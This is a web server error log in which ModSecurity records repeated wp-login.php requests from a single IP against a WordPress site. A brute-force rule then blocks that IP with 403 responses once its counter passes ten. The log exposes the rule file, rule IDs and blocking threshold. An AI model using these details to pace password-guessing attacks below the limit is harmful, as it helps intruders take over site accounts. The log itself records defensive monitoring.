[Sat Feb 28 14:19:43.047069 2026] [:error] [pid 52460:tid 52486] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKI_7LWOogAgHGh62RnVgAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:44.634249 2026] [:error] [pid 52460:tid 52470] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJALLWOogAgHGh62RnXgAAAYc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:47.927447 2026] [:error] [pid 52460:tid 52486] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJA7LWOogAgHGh62RnbAAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:49.504502 2026] [:error] [pid 52460:tid 52478] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJBbLWOogAgHGh62RncwAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:52.710960 2026] [:error] [pid 52460:tid 52477] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJCLLWOogAgHGh62RnhwAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:54.024052 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJCrLWOogAgHGh62RnjQAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:57.267075 2026] [:error] [pid 52460:tid 52482] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJDbLWOogAgHGh62RnrQAAAZM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:19:59.317815 2026] [:error] [pid 52460:tid 52481] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJD7LWOogAgHGh62RntwAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:02.345684 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJErLWOogAgHGh62RnzAAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:04.030252 2026] [:error] [pid 52460:tid 52477] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJFLLWOogAgHGh62Rn0wAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:07.400138 2026] [:error] [pid 52460:tid 52486] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJF7LWOogAgHGh62Rn1gAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:08.923489 2026] [:error] [pid 52460:tid 52482] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJGLLWOogAgHGh62Rn2AAAAZM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:12.291046 2026] [:error] [pid 52460:tid 52478] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJHLLWOogAgHGh62Rn3wAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:13.732822 2026] [:error] [pid 52460:tid 52473] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJHbLWOogAgHGh62Rn4gAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:16.812446 2026] [:error] [pid 52460:tid 52471] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJILLWOogAgHGh62Rn6QAAAYg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:18.318128 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJIrLWOogAgHGh62Rn7AAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:21.223984 2026] [:error] [pid 52460:tid 52480] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJJbLWOogAgHGh62Rn8wAAAZE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:22.742656 2026] [:error] [pid 52460:tid 52479] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJJrLWOogAgHGh62Rn-AAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:25.959973 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJKbLWOogAgHGh62Rn_wAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:27.424125 2026] [:error] [pid 52460:tid 52478] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJK7LWOogAgHGh62RoAQAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:30.618311 2026] [:error] [pid 52460:tid 52464] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJLrLWOogAgHGh62RoCgAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:31.917528 2026] [:error] [pid 52460:tid 52471] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJL7LWOogAgHGh62RoDQAAAYg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:34.959437 2026] [:error] [pid 52460:tid 52463] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJMrLWOogAgHGh62RoEgAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:36.423993 2026] [:error] [pid 52460:tid 52468] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJNLLWOogAgHGh62RoFAAAAYU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:39.320401 2026] [:error] [pid 52460:tid 52480] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJN7LWOogAgHGh62RoGQAAAZE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:41.326873 2026] [:error] [pid 52460:tid 52465] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJObLWOogAgHGh62RoHQAAAYI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:44.622588 2026] [:error] [pid 52460:tid 52483] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJPLLWOogAgHGh62RoIAAAAZQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:46.061065 2026] [:error] [pid 52460:tid 52476] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJPrLWOogAgHGh62RoIQAAAY0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:48.823290 2026] [:error] [pid 52460:tid 52467] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJQLLWOogAgHGh62RoJAAAAYQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:50.202014 2026] [:error] [pid 52460:tid 52466] [client 176.65.132.19:60772] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJQrLWOogAgHGh62RoJwAAAYM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:54.290502 2026] [:error] [pid 11791:tid 11815] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJRmuX5e1Q32gqxH1DMAAAARY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:55.618274 2026] [:error] [pid 11791:tid 11806] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJR2uX5e1Q32gqxH1DMQAAAQ0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:20:58.548743 2026] [:error] [pid 11791:tid 11803] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJSmuX5e1Q32gqxH1DMwAAAQo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:00.066287 2026] [:error] [pid 11791:tid 11805] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJTGuX5e1Q32gqxH1DNAAAAQw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:03.462435 2026] [:error] [pid 11791:tid 11814] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJT2uX5e1Q32gqxH1DNgAAARU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:05.008543 2026] [:error] [pid 11791:tid 11797] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJUWuX5e1Q32gqxH1DNwAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:08.115301 2026] [:error] [pid 11791:tid 11804] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJVGuX5e1Q32gqxH1DPAAAAQs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:09.491612 2026] [:error] [pid 11791:tid 11811] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJVWuX5e1Q32gqxH1DPQAAARI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:12.405197 2026] [:error] [pid 11791:tid 11816] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJWGuX5e1Q32gqxH1DPwAAARc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:13.721222 2026] [:error] [pid 11791:tid 11817] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJWWuX5e1Q32gqxH1DQAAAARg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:16.551162 2026] [:error] [pid 11791:tid 11798] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJXGuX5e1Q32gqxH1DQgAAAQU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:18.677842 2026] [:error] [pid 11791:tid 11798] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJXmuX5e1Q32gqxH1DQwAAAQU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:22.402201 2026] [:error] [pid 11791:tid 11803] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJYmuX5e1Q32gqxH1DSwAAAQo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:24.116854 2026] [:error] [pid 11791:tid 11814] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJZGuX5e1Q32gqxH1DTwAAARU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:27.952442 2026] [:error] [pid 11791:tid 11798] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJZ2uX5e1Q32gqxH1DWQAAAQU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:29.453930 2026] [:error] [pid 11791:tid 11794] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJaWuX5e1Q32gqxH1DWgAAAQE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:32.417299 2026] [:error] [pid 11791:tid 11805] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJbGuX5e1Q32gqxH1DXQAAAQw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:33.741750 2026] [:error] [pid 11791:tid 11806] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJbWuX5e1Q32gqxH1DXgAAAQ0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:36.873828 2026] [:error] [pid 11791:tid 11797] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJcGuX5e1Q32gqxH1DYQAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:36.873937 2026] [:error] [pid 11791:tid 11797] [client 176.65.132.19:52594] [client 176.65.132.19] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 176.65.132.19 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKJcGuX5e1Q32gqxH1DYQAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:40.042011 2026] [:error] [pid 39185:tid 39255] [client 176.65.132.19:65231] [client 176.65.132.19] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 176.65.132.19 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaKJdBVE-FfM89u7BQYRZgAAAIk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:41.867804 2026] [:error] [pid 11791:tid 11811] [client 176.65.132.19:58637] [client 176.65.132.19] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 176.65.132.19 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaKJdWuX5e1Q32gqxH1DaAAAARI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:21:43.511549 2026] [:error] [pid 11791:tid 11795] [client 176.65.132.19:62255] [client 176.65.132.19] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 176.65.132.19 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaKJd2uX5e1Q32gqxH1DbQAAAQI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
